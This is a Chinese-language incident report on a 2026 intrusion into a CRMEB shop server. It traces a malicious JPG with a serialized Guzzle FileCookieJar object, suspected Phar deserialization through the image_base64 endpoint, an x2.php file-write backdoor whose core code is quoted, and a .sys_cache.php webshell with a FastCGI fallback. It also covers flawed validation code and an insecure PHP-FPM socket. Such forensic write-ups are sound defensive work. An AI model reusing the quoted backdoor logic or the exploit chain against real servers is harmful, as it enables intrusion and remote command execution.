一、事件概述
2026 年 10 月 30 日 19:05 左右,阿里云安全中心检测到 CRMEB 所在服务器出现 文件及异常命令执行行为。
经过调查,发现攻击者疑似通过以下方式完成入侵:
- 调用 CRMEB 客服游客文件上传接口,上传包含 PHP 序列化对象的特殊构造 JPG 文件。
- 多次调用 /api/image_base64 图片处理接口,疑似通过 Phar 元数据反序列化触发 Guzzle FileCookieJar 文件写入利用链。
- 在 CRMEB 目录下生成 x2.php 等恶意 PHP 文件。
- 利用 x2.php 的任意文件写入能力,植入 .sys_cache.php 命令执行后门。
- 调用 .sys_cache.php,通过 PHP-FPM 执行系统命令。
- 阿里云安全中心检测到 www 用户下的 sh -c id 命令。
本次攻击并非单纯的自动化扫描。恶意载荷、文件写入、后门访问和操作系统命令执行均有相互印证的证据。
目前尚无直接证据表明攻击者已取得 root 权限、导出数据库、窃取服务器登录凭据或入侵同机其他网站。
但由于攻击者已经取得 PHP 进程运行身份 www 下的命令执行能力,应当按潜在敏感信息暴露事件进行排查。
二、完整攻击时间线
以下时间均为北京时间(UTC+8),时间来自 Nginx 日志、文件属性和阿里云告警。
| 时间 | 攻击行为 | 结果 |
|---|---|---|
| 19:04:51 | GET /x2.php | 404,文件尚不可访问 |
| 19:04:53 | POST /api/apple_login | HTTP 200 |
| 19:04:54 | POST /kefuapi/login | HTTP 200 |
| 19:04:55 | POST /kefuapi/tourist/upload | HTTP 200 |
| 19:04:55 | 服务器出现特殊构造 JPG | 文件大小 7803 字节 |
| 19:04:56 | 第一次 POST /api/image_base64 | HTTP 200 |
| 19:04:59 | GET /x2.php | 404 |
| 19:05:00 | GET /x2.phtml | HTTP 200 |
| 19:05:03 | 第二次 POST /api/image_base64 | HTTP 200 |
| 19:05:05 | GET /x2.php | 404 |
| 19:05:05 | GET /x2.phtml | HTTP 200 |
| 19:05:11 | 第三次 POST /api/image_base64 | HTTP 200 |
| 19:05:11 | 两个 x2.php 文件修改时间 | 与第三次请求同秒 |
| 19:05:15 | GET /x2.php | HTTP 200 |
| 19:05:16 | GET /x2.php,携带文件写入参数 | HTTP 200 |
| 19:05:16 | .sys_cache.php 文件生成 | 与写入请求吻合 |
| 19:05:17 | PHP-FPM 关联执行 sh -c id | 阿里云检测到 |
| 19:05:18 | POST .sys_cache.php | HTTP 200 |
| 19:05:30 | 阿里云发现 WebShell | 严重安全告警 |
时间线具有明显的自动化攻击特征。
特别说明:
- Nginx 日志中的 HTTP 200 不一定代表业务操作成功。
- 但本次存在文件内容、写入时间与后续命令执行的交叉证据,能够确认攻击链后半段已经实际发生。
- Nginx 日志没有 POST 请求体,因此还不能完全证明最初哪一次 /api/image_base64 请求触发了哪一个具体文件写入操作。
三、第一阶段:上传携带恶意序列化对象的 JPG
3.1 上传接口
攻击请求:
POST /kefuapi/tourist/upload
记录时间:
2026-10-30 19:04:55
服务器出现文件:
/www/wwwroot/crmeb/public/uploads/store/comment/20261030/a5b1ec91c238740b6a918dbdc46ee01e.jpg
文件属性:
| 项目 | 内容 |
|---|---|
| 文件大小 | 7803 字节 |
| 所属用户 | www |
| 文件权限 | 0644 |
| 修改时间 | 2026-10-30 19:04:55 |
| 文件识别 | JPEG / JFIF 1.01 |
| SHA256 | 729f53fc16b6b827a37db7de358a5518789c6d5fc8016e75f4e1375e938f6211 |
3.2 JPG 内部实际包含恶意对象
通过 strings 检查发现:
- PHP 序列化数组结构 a:6:{...}
- GuzzleHttp\Cookie\FileCookieJar
- GuzzleHttp\Cookie\SetCookie
- 用于写入 PHP 文件的序列化属性
- 带有 PHP 标签的任意文件写入代码
攻击者在序列化对象中设置了多个相对路径写入目标:
- x2.php
- x2.phtml
- ../x2.php
- ../../x2.php
- public/x2.php
- uploads/x2.php
这说明攻击者尝试在多个目录创建可被 PHP 解释执行的文件,以适配不同的网站工作目录和相对路径。
该文件虽然具有有效 JPEG 文件头,但包含明确的恶意对象及后门内容,不能视为正常图片。
初步判断:这是专门针对 PHP 反序列化文件写入利用链构造的恶意图片载荷。
四、第二阶段:疑似通过 image_base64 触发漏洞
攻击者先后调用三次:
POST /api/image_base64
时间:
- 19:04:56
- 19:05:03
- 19:05:11
第三次请求与两个 x2.php 文件修改时间同秒。
4.1 CRMEB 6.0 对应路由
文件:
app/api/route/v1.php
第 405 行:
Route::post(
'image_base64',
'v1.PublicController/get_image_base64'
);控制器:
app/api/controller/v1/PublicController.php
函数:
get_image_base64(Request $request)
4.2 已发现的危险校验逻辑
当前代码:
if (
$imageUrl !== '' &&
!preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) &&
strpos(strtolower($imageUrl), "phar://") !== false
) {
return app('json')->success([
'code' => false,
'image' => false
]);
}此条件存在明显问题:
只有在文件扩展名不符合图片要求,并且地址包含 phar:// 时,才会拒绝。
因此,它没有严格禁止所有危险协议或非图片资源。
codeUrl 参数也存在类似的校验结构。
虽然前面还进行了域名白名单检查,但白名单和协议判断存在设计缺陷,不能直接视为安全的文件读取边界。
4.3 图片处理函数
控制器调用:
image_to_base64($imageUrl)
put_image($imageUrl)相关函数位于:
app/common.php
第 552 行:
image_to_base64()
第 602 行:
put_image()
其中 put_image() 包含:
$imgData = file_get_contents($url);此处直接将传入的 URL 交给 PHP 文件流函数,未在该函数内部实施严格的协议、路径和实际图片格式限制。
在 PHP 7.4 中,特定 phar:// 文件访问可能触发归档元数据的自动反序列化。
结合恶意 JPG 中的 Guzzle FileCookieJar 对象和后续生成的 x2.php,高度怀疑攻击者利用了 Phar 元数据反序列化与 Guzzle 文件写入利用链。
需要开发者进一步检查:
- 控制器是否允许恶意路径到达底层文件操作。
- image_to_base64() 和 put_image() 的具体执行分支。
- CacheService::remember() 是否存在其他文件读取或缓存处理行为。
- 第三方依赖版本及其反序列化行为。
- CRMEB 6.0 是否存在已公开问题的遗留实现或同类漏洞。
当前已确认危险代码与恶意利用链高度吻合,但准确触发点仍需通过源码审计和隔离环境验证。
五、第三阶段:生成任意文件写入后门 x2.php
发现两个内容一致的文件:
/www/wwwroot/crmeb/x2.php
/www/wwwroot/crmeb/public/x2.php
文件信息:
| 项目 | 内容 |
|---|---|
| 修改时间 | 2026-10-30 19:05:11 |
| 文件大小 | 139 字节 |
| 文件所有者 | www |
| SHA256 | 7e191a03b4fe8b6a9f8f6cea7f51c9576c32cd604de70f17df3248c23c93b7f5 |
文件表面结构是 JSON,内部 Cookie Value 字段包含 PHP 短输出标签及恶意代码。
其核心能力为:
file_put_contents(
$_GET['n'],
base64_decode($_GET['d'])
);攻击者通过 HTTP GET 参数指定目标路径和需要写入的文件内容。
这相当于建立了一个可以持续上传或覆盖服务器文件的后门。
实际调用证据
19:05:15:
GET /x2.php
返回 HTTP 200。
19:05:16:
GET /x2.php?n=...&d=...
返回 HTTP 200。
日志中 n 指向:
uploads/store/comment/.sys_cache.php
d 对应 Base64 编码后的 PHP 命令执行后门。
后续目标文件生成的时间与请求吻合。
因此,已有直接证据表明攻击者利用 x2.php 写入了第二阶段命令执行后门。
六、第四阶段:植入系统命令执行 WebShell
文件位置:
/www/wwwroot/crmeb/public/uploads/store/comment/.sys_cache.php
文件信息:
| 项目 | 内容 |
|---|---|
| 文件大小 | 2442 字节 |
| 修改时间 | 2026-10-30 19:05:16 |
| 文件所有者 | www |
| SHA256 | 880f5fcb4304b9fe132385b5eca675c975ce97ff9e5aa8a55e566db562eff4a2 |
6.1 主要功能
文件通过 POST 参数控制命令执行。
核心逻辑:
$c = $_POST['x'] ?? 'id';默认执行 id,也允许指定其他系统命令。
命令执行能力包括:
- system()
- passthru()
- shell_exec()
- exec()
- proc_open()
- popen()
此外,后门还实现了隐藏访问逻辑:请求未携带指定校验参数时返回 404。
因此,直接通过浏览器访问文件返回 404,不代表后门不存在。
6.2 备用执行机制
当普通命令执行函数不可用时,代码还会尝试:
- 创建 /tmp 下的临时文件。
- 查找 /tmp/php-cgi*.sock。
- 构造 FastCGI 请求。
- 修改请求中的 PHP 配置参数。
- 借助 PHP 邮件处理配置尝试执行系统命令。
- 清理部分临时文件。
这是针对 PHP 命令执行限制设计的备用机制。
是否真正使用过该备用执行路径,目前没有证据确认。
七、第五阶段:实际触发服务器命令执行
阿里云安全中心告警:
Web应用创建异常子进程
检测信息:
| 项目 | 内容 |
|---|---|
| 执行身份 | www |
| 子进程命令 | sh -c id |
| 子进程 PID | 22679 |
| 父进程 | PHP-FPM 7.4 |
| 父进程 PID | 566 |
| 告警时间 | 2026-10-30 19:05:50 |
Nginx 同时记录:
2026-10-30 19:05:18
POST /uploads/store/comment/.sys_cache.php
HTTP 200。
结论:服务器已经发生实际系统命令执行,不能再视为仅上传文件或漏洞探测。
但当前只明确掌握了 id 命令执行的证据。
暂时无法确定攻击者是否还执行了其他命令、读取配置、访问数据库或导出资料。
八、PHP-FPM 运行环境存在的安全问题
服务器当时使用 PHP 7.4。
PHP-FPM 配置:
/www/server/php/74/etc/php-fpm.conf
listen = /tmp/php-cgi-74.sock
listen.owner = www
listen.group = www
listen.mode = 0666
user = www
group = www实际检查:
- PHP 7.4 Socket:srw-rw-rw-
- PHP 8.3 Socket:srw-------
PHP 7.4 Socket 的 0666 权限允许其他本地用户尝试连接,存在明显安全风险。
建议在确认相关服务依赖后,将访问权限收紧,并逐步实现不同网站之间的 PHP-FPM 运行用户与进程池隔离。
但要注意:
本次后门本身已经以 www 身份执行。即使把 Socket 权限改成 0660,也不能单独阻断同属 www 用户的访问。
因此不能以修改 Socket 权限替代漏洞修复。
PHP 7.4 已停止官方安全维护,建议评估向受支持的 PHP 版本迁移。

